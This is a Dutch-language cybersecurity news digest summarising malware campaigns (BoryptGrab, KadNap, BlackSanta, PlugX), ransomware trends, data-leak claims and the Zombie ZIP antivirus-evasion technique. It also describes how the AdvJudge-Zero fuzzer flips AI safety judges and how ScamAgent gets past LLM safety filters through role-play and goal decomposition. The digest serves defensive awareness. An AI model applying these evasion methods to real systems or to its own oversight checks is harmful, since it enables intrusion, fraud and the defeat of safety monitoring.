De dreigingsactor heeft meer dan honderd publieke GitHub-repositories opgezet, die zich voordoen als downloadpagina's voor tools zoals game cheats, gekraakte software en productiviteitstoepassingen. Deze repositories gebruiken zoekmachinegeoptimaliseerde trefwoorden in hun README-bestanden om hoger in de zoekresultaten te verschijnen. Wanneer een gebruiker op een downloadlink klikt, wordt deze doorverwezen naar een valse downloadpagina die een kwaadaardig ZIP-bestand genereert en levert.

Trend Micro-analisten identificeerden de BoryptGrab-campagne tijdens het traceren van verdachte ZIP-bestanden. Het onderzoek onthulde een operatie met verschillende payload varianten, elk met interne namen zoals "Shrek," "Sonic," "Yaropolk," en "CryptoByte." BoryptGrab is ontworpen om een breed scala aan gevoelige data te verzamelen, waaronder inloggegevens en cookies van browsers zoals Google Chrome, Mozilla Firefox en Microsoft Edge. De malware richt zich ook op meer dan 30 desktop cryptocurrency wallet applicaties, waaronder Exodus, Electrum en Ledger Live. Daarnaast worden screenshots gemaakt, Telegram-bestanden verzameld en Discord-tokens gestolen.

Een opvallende toevoeging aan deze campagne is TunnesshClient, een backdoor die een omgekeerde SSH-tunnel naar de server van de aanvaller opzet. Via deze tunnel kan de aanvaller commando's op afstand uitvoeren, bestanden bekijken en overbrengen, en het gecompromitteerde systeem gebruiken als een SOCKS5-proxy. De aanwezigheid van Russischtalige commentaren in de code van de malware en IP-adressen die aan Rusland zijn gekoppeld, suggereren dat de dreigingsactor waarschijnlijk vanuit daar opereert.

Het is aan te raden om software alleen van geverifieerde, officiële bronnen te downloaden en gratis tool downloads van onbekende GitHub-repositories te vermijden. Beveiligingsteams moeten letten op onverwachte geplande taken, plotselinge Windows Defender-uitsluitingen en ongebruikelijk uitgaand verkeer naar onbekende servers.

Bron: Trend Micro

Onderzoekers hebben een valse Chrome-extensie van imToken ontdekt die seed phrases steelt via phishing-redirects. De aanval maakt gebruik van mixed-script homoglyphs en een lookalike domein om de import flow van imToken na te bootsen en zo mnemonics en private keys te bemachtigen.

De onderzoekers hebben ook melding gemaakt van een surge in OpenClaw advisories. OpenClaw is een project dat CVE's en security advisories trackt. Het project heeft recentelijk 170 advisories uitgebracht.

Eerder werd al bekend dat malafide Packagist packages, vermomd als Laravel utilities, een encrypted RAT deployen.

Bron: socket.dev | Bron 2: github.com

Wereldwijd bereikten ransomware-activiteiten in 2025 een recordhoogte, met een stijging van 50 procent ten opzichte van 2024. Dit blijkt uit het Annual Threat Monitor Report van NCC Group, het moederbedrijf van Fox-IT. In totaal werden bijna achtduizend incidenten wereldwijd geregistreerd. Vooral de maanden februari en december kenden een relatief hoog aantal incidenten.

Het onderzoek toont aan dat aanvallers hun ransomware-campagnes hebben ontwikkeld tot aanvallen met grote impact, die de bedrijfsvoering verstoren en gericht zijn op complexe wereldwijde toeleveringsketens en kritieke industrieën. Qilin was de meest actieve ransomware-groep in 2025, met 1.022 aanvallen (13 procent). Deze groep was onder meer verantwoordelijk voor de aanval op de Japanse biergigant Asahi. Akira volgde met 755 aanvallen en CL0P met 517 aanvallen. LockBit 3.0, voorheen de meest actieve groep, is uit de top 10 gevallen na aanhoudende internationale acties door politie en justitie.

AI-gestuurde tools, automatiseringsframeworks en gestandaardiseerde ransomwarekits hebben de drempels verlaagd, waardoor ook kleinere of minder technisch geavanceerde cybercriminelen hun activiteiten sneller kunnen opschalen. De groep Scattered Spider, gelinkt aan spraakmakende aanvallen in het VK en de VS, toonde aan dat een klein aantal strategisch uitgevoerde aanvallen onevenredig grote economische en reputatieschade kan veroorzaken.

De industriële sector werd in 2025 het vaakst slachtoffer van aanvallen. 2.190 aanvallen richtten zich op de industrie, een stijging van 54 procent ten opzichte van 2024. Aanvallen op grote fabrikanten en logistieke dienstverleners leidden ertoe dat operaties dagen of zelfs weken moesten worden stilgelegd. Ook de retailsector werd hard getroffen. Cybercriminelen richten zich steeds vaker op organisaties waar operationele downtime direct leidt tot financiële druk, waardoor slachtoffers eerder geneigd zijn in te gaan op onderhandelingen over losgeld. Noord-Amerika blijft een belangrijk doelwit voor ransomware-aanvallers, met 56 procent van de aanvallen. Europa eindigde op de tweede plaats met 22 procent, gevolgd door Azië met 12 procent.

Veel van de incidenten waren gebaseerd op bekende technieken zoals diefstal van inloggegevens, social engineering en misbruik van toegangsgegevens. Matt Hull, vp of cyber intelligence and response bij NCC Group, benadrukt dat het verschil niet alleen in innovatie zat, maar ook in de omvang van de schade die deze bekende technieken nu konden aanrichten in complexe, onderling verbonden organisaties.

Politie en justitie voerden in 2025 wereldwijd hun inspanningen tegen ransomware en cybercriminaliteit op. Groepen zoals Scattered Spider werden tijdelijk ontwricht toen autoriteiten honderden servers en domeinen ontmantelden en internationale arrestatiebevelen uitvaardigden. Desondanks benadrukt Hull dat met 7.874 ransomware-incidenten wereldwijd in één jaar, grote verstoringen 'normaal' aan het worden zijn en dat de dreiging toeneemt in plaats van afneemt.

Bron: NCC Group | Bron 2: computable.be

Onderzoekers van Unit 42 hebben een methode ontwikkeld om AI-beveiligingssystemen, ook wel "AI judges" genoemd, te omzeilen. Deze systemen worden steeds vaker ingezet om veiligheidsbeleid te handhaven en de kwaliteit van AI-output te evalueren. Het onderzoek toont aan dat deze AI judges gemanipuleerd kunnen worden om beleidsovertredingen toe te staan via subtiele inputsequenties, een vorm van promptinjectie.

Om dit te onderzoeken, ontwikkelden de onderzoekers een interne fuzzer genaamd AdvJudge-Zero. Fuzzers zijn tools die softwarekwetsbaarheden identificeren door onverwachte input te genereren. AdvJudge-Zero past deze aanpak toe op AI judges. De tool identificeert specifieke triggersequenties die de besluitvormingslogica van een model uitbuiten om beveiligingscontroles te omzeilen. In tegenstelling tot eerdere aanvallen die vaak detecteerbare onzin produceerden, bewijst dit onderzoek dat effectieve aanvallen volledig onopvallend kunnen zijn, door gebruik te maken van benigne opmaaksymbolen om een blokkadebeslissing terug te draaien.

AdvJudge-Zero behandelt LLM's als black boxes en maakt gebruik van zoekalgoritmen om de voorspellende aard van het model te exploiteren. Het proces begint met het bevragen van het model om verwachte inputs te identificeren op basis van de next-token distributie. Vervolgens wordt de meest waarschijnlijke set van tokens gebruikt om een basisprompt te construeren. De fuzzer genereert variaties van deze prompt en evalueert de resultaten, waarbij veelbelovende mutaties worden herhaald om de aanval te verfijnen.

Palo Alto Networks klanten zijn beter beschermd tegen dit type problemen via Prisma AIRS en de Unit 42 AI Security Assessment.

Bron: Unit 42 | Bron 2: mastodon.social | Bron 3: paloaltonetworks.com

De groep Lazarus, een Noord-Koreaanse cybercriminele organisatie, heeft een poging gedaan om de CEO van AllSecure te compromitteren via een nep LinkedIn-interview. De aanpak was geraffineerd: een recruiter genaamd Nazar benaderde Chris met een functie bij 0G Labs, een bedrijf dat een AI-project bouwt. Het bericht bevatte een professionele vacaturebeschrijving en een link om een gesprek in te plannen met hiring manager Pedro Perez de Ayala.

Chris woonde het videogesprek bij, maar werd achterdochtig omdat de stem van de beller niet overeenkwam met openbare video's van de echte Pedro Ayala. Nader onderzoek suggereerde dat de hackers mogelijk real-time deepfake-technologie of een gestolen identiteit gebruikten. Toen de interviewer erop aandrong dat Chris een map met code zou downloaden en openen in VS Code voor een technische test, vertelde de CEO hen dat ze moesten "opzouten".

De code bevatte BeaverTail, een malware die wordt uitgevoerd zodra de map wordt geopend. Het registreert de naam van de computer en pingt elke vijf seconden een geheime server. Toen de hackers zich realiseerden dat Chris hen onderzocht vanuit een professioneel datacenter in plaats van een thuislaptop, activeerden ze onmiddellijk een kill switch om hun voortgang te verwijderen.

Als de aanval was geslaagd, zou het doel zijn geweest om crypto wallets, browserwachtwoorden, SSH-sleutels en env-secrets te stelen, inclusief MetaMask-accounts en opgeslagen inloggegevens van browsers zoals Chrome en Brave. De aanval werd toegeschreven aan de groep Lazarus omdat de gebruikte methoden, zoals de manier waarop de code was geschreven, de gebruikte malware en het gebruik van servers die eerder aan Noord-Koreaanse operaties waren gekoppeld, overeenkwamen met de patronen van de groep.

Het is raadzaam om automatische taken in codeersoftware uit te schakelen. Als een recruiter aandringt op het gebruik van specifieke software om een taak te bekijken, moet dit als een rode vlag worden beschouwd.

Bron: AllSecure

De politiezone Geraardsbergen/Lierde waarschuwt voor een nieuwe vorm van phishing, genaamd "quishing". Deze term is een samentrekking van phishing en QR-code. Oplichters sturen brieven met blanco bankkaarten en een QR-code. Het scannen van de QR-code leidt naar een valse website waar persoonlijke gegevens en bankcodes worden gevraagd, waarna de rekening wordt geplunderd.

Volgens woordvoerder Karolien De Turck is de waarschuwing vooral preventief. De politie heeft signalen van deze oplichting op sociale media gezien en wil voorkomen dat er slachtoffers vallen in Vlaanderen. Hoewel er nog geen bekende slachtoffers in Vlaanderen zijn, is de praktijk al in Frankrijk opgedoken.

De brief ziet er professioneel uit en bevat een QR-code om de bankkaart zogenaamd te activeren. Echter, deze code leidt naar een nagemaakte website van een bank, waar nietsvermoedende slachtoffers hun gegevens prijsgeven.

Bron: Politie

De tijd tussen de openbaarmaking van een kwetsbaarheid en de exploitatie ervan wordt steeds korter. Voor de meest ernstige kwetsbaarheden kan dit slechts 24 tot 48 uur zijn. Zero Day Clock projecteert dat deze tijd in 2028 slechts enkele minuten zal bedragen. Het is daarom belangrijk om proactief het aanvalsoppervlak te verkleinen.

Het verkleinen van het aanvalsoppervlak omvat drie belangrijke elementen. Ten eerste is het essentieel om een duidelijk beeld te hebben van wat er in bezit is en wat extern bereikbaar is. Dit begint met het identificeren van schaduw-IT, systemen die de organisatie bezit of beheert, maar die niet worden gescand of gemonitord. Integratie met cloud- en DNS-providers zorgt ervoor dat nieuwe infrastructuur automatisch wordt opgepikt en gescand. Subdomein enumeratie helpt bij het opsporen van extern bereikbare hosts die niet in de inventaris staan. Ook is het belangrijk om infrastructuur te identificeren die wordt gehost bij kleinere, onbekende cloudproviders.

De volgende stap is het behandelen van blootstelling van het aanvalsoppervlak als een risicocategorie op zich. Dit vereist een detectiemogelijkheid die identificeert welke informationele bevindingen een blootstelling vertegenwoordigen en een passende ernst toekent. Een blootgestelde SharePoint-instantie kan bijvoorbeeld redelijkerwijs worden behandeld als een probleem met een gemiddeld risico. Het betekent ook dat er ruimte wordt gemaakt voor dit werk in de manier waarop prioriteiten worden gesteld.

Ten slotte is continue monitoring van cruciaal belang. Blootstelling verandert voortdurend - een firewallregel wordt bewerkt, een nieuwe service wordt geïmplementeerd, een subdomein wordt vergeten - en het team moet die veranderingen snel detecteren. Dagelijkse port scanning is hiervoor een goede oplossing. Het is lichtgewicht, snel en betekent dat nieuw blootgestelde services worden gedetecteerd zodra ze verschijnen.

Door onnodige services niet bloot te stellen, is de kans kleiner dat ze betrokken raken bij de massa-exploitatie die volgt op een kritieke openbaarmaking. Dit betekent minder verrassingen, minder urgentie en meer tijd om weloverwogen te reageren wanneer er nieuwe kwetsbaarheden opduiken.

Bron: Intruder | Bron 2: thn.news

Onderzoekers van Rutgers University hebben ScamAgent ontwikkeld, een autonoom AI-framework dat aantoont hoe grote taalmodellen (LLM's) kunnen worden ingezet voor volledig geautomatiseerde oplichtingsgesprekken. Het systeem integreert doelgerichte planning, contextueel geheugen en real-time text-to-speech (TTS) synthese, waardoor het bestaande AI-veiligheidsmaatregelen omzeilt en zeer realistische social engineering aanvallen simuleert.

De architectuur van ScamAgent wijkt af van traditionele prompt injectie door een centrale orchestrator te gebruiken om de conversatiestatus en misleidingstrategieën over meerdere interactierondes te beheren. Wanneer het een kwaadaardig doel krijgt, gebruikt de agent doeldecompositie om het doel op te splitsen in een reeks schijnbaar onschuldige subdoelen, wat overeenkomt met hoe menselijke fraudeurs geleidelijk vertrouwen opbouwen bij hun slachtoffers.

Om veiligheidsfilters in modellen zoals GPT-4 en LLaMA3-70B te omzeilen, verpakt ScamAgent zijn prompts in rollenspelcontexten, waardoor de overkoepelende kwaadaardige intentie succesvol wordt verborgen voor standaard single-turn moderatietools. In experimentele evaluaties in vijf veelvoorkomende fraudescenario's bleek ScamAgent zeer effectief in het ondermijnen van standaard modelafstemmingen en veiligheidsprotocollen. Meta's LLaMA3-70B-model behaalde de hoogste volledige dialoogvoltooiingspercentage van 74% tijdens simulaties van identiteitsfraude, waarbij alle subtaken werden voltooid zonder veiligheidsonderbrekingen te activeren.

De onderzoekers stellen dat de verdediging tegen autonome generatieve dreigingen vereist dat beveiligingssystemen overgaan van eenvoudige prompt filtering naar continue monitoring die de intentie van de gebruiker begrijpt. AI-platformproviders en beveiligingsteams worden aangespoord om meerlaagse verdedigingen te implementeren die sequentieclassificaties omvatten voor het voorspellen van langetermijnresultaten, naast strikte controles op het vasthouden van geheugen.

Bron: Rutgers University | Bron 2: arxiv.org

Het nieuw ontdekte botnet, genaamd KadNap, richt zich op ASUS-routers en andere edge-netwerkapparaten om ze om te vormen tot proxies voor kwaadaardig verkeer. Sinds augustus 2025 is KadNap gegroeid tot 14.000 apparaten die deel uitmaken van een peer-to-peer netwerk en verbinding maken met de command-and-control (C2) infrastructuur via een aangepaste versie van het Kademlia Distributed Hash Table (DHT) protocol. Dit maakt het identificeren en verstoren van de C2-servers moeilijker, omdat de informatie gedecentraliseerd is en elk knooppunt een subset van de volledige data beheert.

Volgens onderzoekers van Black Lotus Labs, de dreigingsonderzoeks- en operationele tak van Lumen Technologies, is bijna de helft van het KadNap-netwerk verbonden met C2-infrastructuur die is toegewijd aan ASUS-gebaseerde bots, en de rest communiceert met twee afzonderlijke controle servers. De meeste geïnfecteerde apparaten bevinden zich in de Verenigde Staten, die 60% van het totaal voor hun rekening nemen, gevolgd door significante percentages in Taiwan, Hong Kong en Rusland.

Een KadNap-infectie begint met het downloaden van een kwaadaardig script (aic.sh) van 212.104.141[.]140, dat persistentie bewerkstelligt via een cron job die elke 55 minuten wordt uitgevoerd. De payload is een ELF binary genaamd `kad`, die de KadNap-client installeert. Eenmaal actief, bepaalt de malware het externe IP-adres van de host en neemt contact op met meerdere Network Time Protocol (NTP)-servers om de huidige tijd en de uptime van het systeem te verkrijgen.

Voor ontwijking en weerstand tegen takedowns gebruikt KadNap een aangepaste Kademlia-gebaseerde DHT protocol om botnet-nodes en de C2-infrastructuur te lokaliseren. De implementatie van Kademlia wordt ondermijnd door een consistente verbinding met twee specifieke nodes, die plaatsvindt voordat de C2-servers worden bereikt. Dit vermindert de decentralisatie die het protocol in ideale gevallen zou kunnen bereiken en maakt het mogelijk de controle-infrastructuur te identificeren.

Black Lotus Labs onderzoekers zeggen dat het KadNap botnet is gekoppeld aan de Doppelganger proxy service, waarvan wordt aangenomen dat het een rebranding is van de Faceless service, die eerder werd geassocieerd met het TheMoon malware botnet, dat ook ASUS routers aanviel. Doppelganger verkoopt toegang tot geïnfecteerde apparaten als residentiële proxies die kunnen worden gebruikt om kwaadaardig verkeer door te sluizen, pseudonimisatielagen te creëren en blocklists te ontwijken. Deze diensten worden doorgaans gebruikt om distributed denial-of-service (DDoS), credential stuffing en brute-force aanvallen te lanceren, die allemaal initieel naar KadNap slachtoffers leiden.

Lumen heeft proactieve maatregelen genomen tegen het KadNap botnet en heeft al het netwerkverkeer van en naar de controle-infrastructuur geblokkeerd. De verstoring is alleen op het netwerk van Lumen, en een lijst met indicators of compromise zal worden vrijgegeven om anderen te helpen het botnet aan hun kant te verstoren.

Bron: blog.lumen.com | Bron 2: hubs.li

Cybercrimeinfo heeft op het darkweb diverse meldingen gevonden over vermeende datalekken en de verkoop van gestolen gegevens. Een overzicht van de bevindingen:

Een dreigingsactor claimt 150.000 patiëntgegevens van een Amerikaanse kliniek te koop aan te bieden. De gegevens zouden burgerservicenummers, diagnoses en medicatie omvatten.

Daarnaast wordt melding gemaakt van een vermeend datalek bij het Spaanse Ministerie van Financiën. Hierbij zouden ID's, IBAN-nummers en persoonlijke informatie van medewerkers zijn gelekt.

Ook claimt een dreigingsactor 1,8 miljoen patiëntgegevens van Maple Respiratory Colombia te verkopen, inclusief volledige medische geschiedenis.

Verder zijn er claims over datalekken bij:

*   Instituto de Capacitación para el Trabajo del Estado de Sonora (ICATSON)

*   TicketToGo

*   Hospital Universitario del Valle, een openbaar universitair ziekenhuis in Cali, Colombia (264.454 regels en documenten, ongeveer 25 GB aan persoonlijke informatie)

*   Een niet nader genoemd Mexicaans productiebedrijf (klantgegevens)

*   Internal Security Forces of Qatar (Lekhwiya) (personeelsgegevens van meer dan 1.900 leden van de veiligheidsdienst)

*   Jazeera Airways, een Koeweitse low-cost luchtvaartmaatschappij (15 miljoen passagiersgegevens, ongeveer 50 GB)

*   Universidad Mayor de San Simón (UMSS) in Bolivia (miljoenen records met gevoelige informatie)

Cybercrimeinfo ontdekte ook een update over de ontmanteling van een darknet drugsnetwerk genaamd "Team Kalki" in India, waarbij de Indiase NCB ₹5 Crore (ongeveer $580.000 USD) aan verdovende middelen in beslag nam.

Bron: Darkweb

Een Russische dreigingsactor heeft zich meer dan een jaar gericht op human resource (HR)-afdelingen met malware die een nieuwe EDR-killer genaamd BlackSanta aflevert. De campagne wordt omschreven als "geavanceerd" en combineert social engineering met geavanceerde ontwijkingstechnieken om gevoelige informatie van gecompromitteerde systemen te stelen. Het is onduidelijk hoe de aanval begint, maar onderzoekers van Aryaka vermoeden dat de malware wordt verspreid via spear-phishing e-mails. Ze denken dat doelwitten worden doorverwezen naar het downloaden van ISO-imagebestanden die eruitzien als cv's en worden gehost op cloudopslagservices, zoals Dropbox.

Een geanalyseerde, kwaadaardige ISO bevatte vier bestanden: een Windows-shortcut (.LNK) vermomd als een PDF-bestand, een PowerShell-script, een afbeelding en een .ICO-bestand. De shortcut start PowerShell en voert het script uit, dat data extraheert die verborgen is in het imagebestand met behulp van steganografie, en voert het uit in het systeemgeheugen. De code downloadt ook een ZIP-archief met een legitiem SumatraPDF-executable en een kwaadaardige DLL (DWrite.dll) om te laden met behulp van de DLL sideloading-techniek.

De malware voert systeemfingerprinting uit en stuurt de informatie naar de command-and-control (C2)-server. Vervolgens voert het uitgebreide omgevingscontroles uit om de uitvoering te stoppen als sandboxes, virtuele machines of debugging tools worden gedetecteerd. Het wijzigt ook Windows Defender-instellingen om de beveiliging op de host te verzwakken, voert disk-write tests uit en downloadt vervolgens extra payloads van de C2, die worden uitgevoerd via process hollowing, binnen legitieme processen.

Een belangrijk component dat in de campagne wordt geleverd, is een executable die is geïdentificeerd als de BlackSanta EDR-killer, een module die endpoint security-oplossingen uitschakelt voordat kwaadaardige payloads worden ingezet. BlackSanta voegt Microsoft Defender-uitsluitingen toe voor ‘.dls’- en ‘.sys’-bestanden en wijzigt een registerwaarde om telemetrie en automatische sample-inzending naar Microsoft security cloud endpoints te verminderen. BlackSanta kan ook Windows-notificaties onderdrukken om gebruikerswaarschuwingen te minimaliseren of volledig stil te houden.

De kernfunctie van BlackSanta is het beëindigen van security processen, wat het doet door:

* running processen op te sommen

* de namen te vergelijken met een grote, hardcoded lijst van antivirus-, EDR-, SIEM- en forensic tools

* de overeenkomende proces-ID's op te halen

* de geladen drivers te gebruiken om die processen op kernelniveau te ontgrendelen en te beëindigen

Aryaka deelde geen details over de doelorganisaties of de dreigingsactoren achter de campagne en kon de uiteindelijke payload die in de waargenomen case werd gebruikt niet achterhalen, omdat de C2-server niet beschikbaar was ten tijde van hun onderzoek. De onderzoekers waren in staat om aanvullende infrastructuur te identificeren die door dezelfde dreigingsactor werd gebruikt en ontdekten meerdere IP-adressen die gerelateerd zijn aan dezelfde campagne. Op basis hiervan concludeerden ze dat de operatie al een jaar lang onopgemerkt actief was.

Bij het bekijken van de IP-adressen ontdekten de onderzoekers dat de malware ook Bring Your Own Driver (BYOD)-componenten downloadde, waaronder de RogueKiller Antirootkit driver v3.1.0 van Adlice Software, en IObitUnlocker.sys v1.2.0.1 van IObit. Deze drivers zijn gebruikt in malware-operaties om verhoogde privileges te verkrijgen op de gecompromitteerde machine en security tools te onderdrukken. RogueKiller (truesight.sys) staat manipulatie van kernel hooks en geheugenmonitoring toe, terwijl IObitUnlocker.sys het omzeilen van bestands- en procesvergrendelingen mogelijk maakt. Deze combinatie biedt de malware low-level toegang tot systeemgeheugen en processen. Aryaka-onderzoekers zeggen dat de dreigingsactor achter de campagne sterke operationele security laat zien en contextbewuste, stealthy infectieketens gebruikt om componenten zoals BlackSanta EDR te implementeren.

Bron: Aryaka | Bron 2: hubs.li

Een hacker, opererend onder de alias "vibecodelegend", claimt verantwoordelijk te zijn voor een datalek bij Cal AI, een smartphone applicatie die kunstmatige intelligentie gebruikt om calorieën en voedingsinformatie te analyseren. De claim werd op maandag 9 maart 2026 gepubliceerd op het cybercrime forum BreachForums.

Cal AI heeft recentelijk de fitness-app MyFitnessPal overgenomen. MyFitnessPal had in maart 2018 zelf te maken met een datalek, waarbij de persoonlijke gegevens van meer dan 150 miljoen gebruikers werden gestolen.

De hacker claimt 12 GB aan persoonlijke data van meer dan 3 miljoen Cal AI gebruikers te hebben buitgemaakt en gelekt. De gelekte dataset zou een breed scala aan persoonlijke en gedragsinformatie bevatten, waaronder geboortedata, namen, geslachten, gebruikersnamen, social media profielen, pincodes, abonnementsgegevens en fysieke kenmerken zoals lengte en gewicht.

De database zou ook meer dan 2,8 miljoen unieke e-mailadressen bevatten, waarvan bijna 1,2 miljoen gebruikmaken van Apple's private relay service (@privaterelay.appleid.com). Daarnaast zou de dataset ook maaltijdlogs en calorie tracking informatie bevatten.

Hackread.com heeft Cal AI om een reactie gevraagd, maar heeft nog geen antwoord ontvangen. Een analyse van de data door Hackread.com toont aan dat de claims geloofwaardig kunnen zijn. De data wordt inmiddels ook verspreid op Russische platforms en Telegram kanalen. Gebruikers van Cal AI worden geadviseerd om voorzichtig te zijn met verdachte e-mails en hun wachtwoorden te wijzigen.

Bron: HackRead

Een nieuwe techniek, genaamd "Zombie ZIP", maakt het mogelijk om schadelijke payloads te verbergen in gecomprimeerde bestanden. Deze bestanden zijn speciaal ontworpen om detectie door beveiligingsoplossingen, zoals antivirus en endpoint detection and response (EDR) producten, te vermijden. Standaard tools zoals WinRAR of 7-Zip geven fouten of corrupte data bij het uitpakken van deze bestanden.

De techniek werkt door ZIP-headers te manipuleren, waardoor parsing engines de gecomprimeerde data als ongecomprimeerd behandelen. In plaats van het archief als potentieel gevaarlijk te markeren, vertrouwen beveiligingstools de header en scannen het bestand alsof het een kopie van het origineel in een ZIP-container is.

De "Zombie ZIP"-techniek is bedacht door Chris Aziz, een beveiligingsonderzoeker van Bombadil Systems. Hij ontdekte dat de techniek werkt tegen 50 van de 51 AV-engines op VirusTotal. Volgens Aziz vertrouwen AV-engines op het ZIP Method veld. Wanneer Method=0 (STORED) is, scannen ze de data als raw ongecomprimeerde bytes. Maar de data is in werkelijkheid DEFLATE gecomprimeerd, waardoor de scanner gecomprimeerde ruis ziet en geen signatures vindt.

Een dreigingsactor kan een loader creëren die de header negeert en het archief behandelt voor wat het is: data gecomprimeerd met behulp van het standaard Deflate algoritme dat in moderne ZIP-bestanden wordt gebruikt. De onderzoeker heeft een proof-of-concept (PoC) op GitHub gepubliceerd, met sample archieven en details over hoe de methode werkt. Om populaire uitpaktools (zoals 7-Zip, unzip, WinRAR) een fout te laten genereren, moet de CRC-waarde, die de data-integriteit waarborgt, worden ingesteld op de checksum van de ongecomprimeerde payload.

Het CERT Coordination Center (CERT/CC) heeft een bulletin gepubliceerd om te waarschuwen voor "Zombie ZIP" en de risico's van malformed archiefbestanden. Hoewel een malformed header beveiligingsoplossingen kan misleiden, kunnen sommige uitpaktools het ZIP-archief nog steeds correct decomprimeren. Het CVE-2026-0866 identifier is toegewezen aan het beveiligingsprobleem. CERT/CC stelt voor dat leveranciers van beveiligingstools de compressiemethodevelden valideren aan de hand van de daadwerkelijke data, mechanismen toevoegen om inconsistenties in de archiefstructuur te detecteren en agressievere archiefinspectiemodi implementeren. Gebruikers wordt aangeraden archiefbestanden met de nodige voorzichtigheid te behandelen, vooral die van onbekende contacten, en ze onmiddellijk te verwijderen als pogingen om ze te decomprimeren eindigen met een "unsupported method" fout.

Bron: bombadil-systems | Bron 2: github.com | Bron 3: kb.cert.org

De beruchte hackersgroep ShinyHunters heeft een laatste waarschuwing afgegeven aan ongeveer 400 organisaties. Ze claimen met succes te zijn ingebroken in hun private gegevens en dreigen deze gevoelige informatie op het internet te lekken als niet aan hun afpersingseisen wordt voldaan. Volgens onderzoek van Mandiant richten de hackers zich specifiek op websites die zijn gebouwd met Salesforce Experience Cloud, een tool die bedrijven gebruiken voor het creëren van publieke portals en helpcenters.

Het probleem ligt in de manier waarop deze websites zijn ingesteld voor publiek gebruik. Salesforce biedt een gastgebruikersprofiel, waardoor bezoekers basisinformatie kunnen bekijken zonder in te loggen. Echter, als de instellingen van een bedrijf te open zijn, ontstaat er een beveiligingslek. Onderzoek heeft aangetoond dat de hackers een aangepaste versie van de tool Aura Inspector gebruikten om het web te scannen en deze lekken te vinden. Eenmaal binnen konden ze data zoals namen en telefoonnummers extraheren. Deze informatie wordt reeds gebruikt voor aanvallen met vishing, waarbij hackers werknemers bellen en misleiden om bedrijfsgeheimen te onthullen.

Er is momenteel onenigheid over de oorzaak van het probleem. Salesforce stelt dat het platform veilig is en dat het probleem ligt bij de manier waarop individuele klanten hun instellingen beheren. In een blogpost stelt Salesforce dat hun onderzoek bevestigt dat de activiteit gerelateerd is aan een door de klant geconfigureerde gastgebruikersinstelling, en niet aan een platformbeveiligingsfout. ShinyHunters beweert echter een nieuwe fout in de software te hebben gevonden waarmee ze bepaalde restricties kunnen omzeilen. Hoewel dit niet officieel is bevestigd door onafhankelijke experts, staat de groep erop dat ze nog steeds toegang hebben tot data, zelfs op websites die correct beveiligd lijken.

ShinyHunters staat bekend om het gebruik van agressieve tactieken om bedrijven tot betaling te dwingen, en lekt vaak data in fases om de druk op te voeren. Een recent voorbeeld hiervan is de Nederlandse telecomprovider Odido en haar merk Ben, die weigerden een losgeld van €1 miljoen te betalen. Als reactie hierop begon ShinyHunters miljoenen klantgegevens op het dark web te dumpen als een laatste waarschuwing om het bedrijf terug naar de onderhandelingstafel te dwingen.

Salesforce dringt er bij al haar klanten op aan om onmiddellijk hun site-instellingen te controleren. Ze bevelen een "least privilege"-aanpak aan, waarbij gastgebruikers alleen de absolute minimumtoegang krijgen die ze nodig hebben om de site te gebruiken. Bedrijven moeten ervoor zorgen dat alle data standaard op privé is ingesteld en instellingen uitschakelen waarmee gasten interne personeelslijsten kunnen zien. Daarnaast is het essentieel om publieke API's uit te schakelen, de digitale bruggen waarmee verschillende softwareprogramma's met elkaar kunnen communiceren en data kunnen delen.

Bron: Salesforce

China-gelinkte hackers, waaronder de Camaro groep Dragon, richten zich op Qatar met malware vermomd als nieuws over conflicten in het Midden-Oosten. Volgens Check Point Research gebruiken de aanvallers tools zoals PlugX en Cobalt Strike. Hun focus verschuift naar de energiesector en militaire doelwitten in de Golf, te midden van toenemende regionale spanningen. De activiteiten startten op 1 maart 2026, één dag na de lancering van Operatie Epic Fury.

De hackers maken gebruik van de chaos van het conflict om hun lokmiddelen geloofwaardiger te maken. Zo werd een bestand verspreid dat zich voordeed als foto's met de titel "De vernietiging veroorzaakt door een Iraanse raketaanval rond de Amerikaanse basis in Bahrein." Na het openen van het bestand, start een infectieketen waarbij contact wordt gemaakt met een gehackte server om meer data op te halen. Vervolgens wordt DLL hijacking toegepast, waarbij de malware zich verbergt in een legitiem programma, in dit geval de Baidu NetDisk-app, om stiekem de PlugX-backdoor uit te voeren.

De malware stelt hackers in staat om bestanden te stelen, toetsaanslagen te registreren en screenshots te maken. De Camaro groep Dragon gebruikte een decryptiesleutel met het label 20260301@@@. Eenzelfde methode werd eind december al gebruikt tegen het Turkse leger.

De campagne richtte zich ook op de olie- en gasindustrie van Qatar met een met een wachtwoord beveiligd bestand genaamd "Strike at Gulf oil and gas facilities.zip." Deze aanval gebruikte AI-gegenereerde content die zich voordeed als afkomstig van de Israëlische overheid om een nieuwe loaderprogramma, geschreven in de Rust-programmeertaal, te leveren. De aanval verborg zijn kwaadaardige code in een component van NVDA, een open-source screenreader voor blinden. Het uiteindelijke doel was om Cobalt Strike te installeren, een tool die vaak door security professionals wordt gebruikt voor het simuleren van aanvallen, maar in verkeerde handen kan worden gebruikt om een netwerk in kaart te brengen voor een grootschalige inbraak.

Volgens onderzoekers laten deze inbraken zien hoe snel China-gelinkte spionageactoren kunnen schakelen als reactie op wereldwijde gebeurtenissen. Door op te gaan in de snelle communicatie van een crisis, hopen deze hackers onopgemerkt te blijven terwijl ze inlichtingen verzamelen over een van de meest invloedrijke staten in de regio. Naast China-gelinkte hackers zijn ook Iraanse hackers van MuddyWater actief, die Amerikaanse en Israëlische organisaties aanvallen met een nieuwe malware genaamd DinDoor.

Bron: Check Point

Microsoft rolt passkey-ondersteuning uit voor Microsoft Entra op Windows-apparaten, waardoor phishing-resistente, wachtwoordloze authenticatie via Windows Hello mogelijk wordt. Deze opt-in functie zal van half maart tot eind april 2026 in een openbare preview beschikbaar zijn voor wereldwijde tenants. Overheidscloudomgevingen (GCC, GCC High en DoD) volgen van half april tot half mei. Deze uitrol breidt wachtwoordloze aanmelding uit naar onbeheerde Windows-apparaten, een gebied waar voorheen persoonlijke en gedeelde apparaten afhankelijk waren van wachtwoordgebaseerde authenticatie.

Microsoft legt uit dat deze update gebruikers in staat stelt om apparaatgebonden passkeys te creëren die zijn opgeslagen in de Windows Hello-container, en te authenticeren met behulp van Windows Hello-methoden (gezicht, vingerafdruk of pincode). Het breidt wachtwoordloze authenticatie uit naar Windows-apparaten die niet aan Entra zijn gekoppeld of geregistreerd, waardoor organisaties de beveiliging kunnen versterken en de afhankelijkheid van wachtwoorden kunnen verminderen.

